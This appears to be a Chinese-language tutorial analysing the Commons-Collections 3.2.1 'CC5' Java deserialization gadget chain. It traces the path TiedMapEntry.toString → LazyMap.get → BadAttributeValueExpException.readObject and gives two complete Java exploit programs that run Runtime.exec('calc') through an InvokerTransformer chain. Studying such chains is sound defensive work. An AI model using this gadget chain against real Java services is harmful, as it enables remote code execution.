<1> 环境分析 jdk:jdk8u65 CC:Commons-Collections 3.2.1 pom.xml 添加
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
<2> CC5链子分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
CC5的链 和CC1差不多,只不过 调用 LazyMap.get()用的是 TiedMapEntry.toString()触发的
我们来看一下 TiedMapEntry.toString()
这里会调用 getValue() 跟进 看一下 getValue函数内容
这里可以 调用 LazyMap.get() 因此我们给TiedMapEntry的map赋值LazyMap 即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.util.HashMap;import java.util.Map;public class CC5Test { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"aaa" ); tiedMapEntry.toString(); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("sercc5.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }
成功弹出了计算器
我们再找一找触发点,来看看哪里的readObject调用了 toString。 由于调用 toString()的实在太多了,这里我们之间看作者找到的 BadAttributeValueExpException
这里注意,由于构造函数在构造时会直接调用 toString()
因此我们应该先传入一个随便的类型,然后通过反射修改 val属性为 我们构造的TiedMapEntry,这样的话,反序列化时才会调用TiedMapEntry 生成序列化数据时不会调用链子(直接写的话反序列化也会可正常调用,不过不太好 我们不需要在生成时本地执行一次恶意命令)
<3> EXP编写 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5Test { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"aaa" ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (1 ); Class c = badAttributeValueExpException.getClass(); Field val = c.getDeclaredField("val" ); val.setAccessible(true ); val.set(badAttributeValueExpException,tiedMapEntry); unserialize("sercc5.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("sercc5.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); return ois.readObject(); } }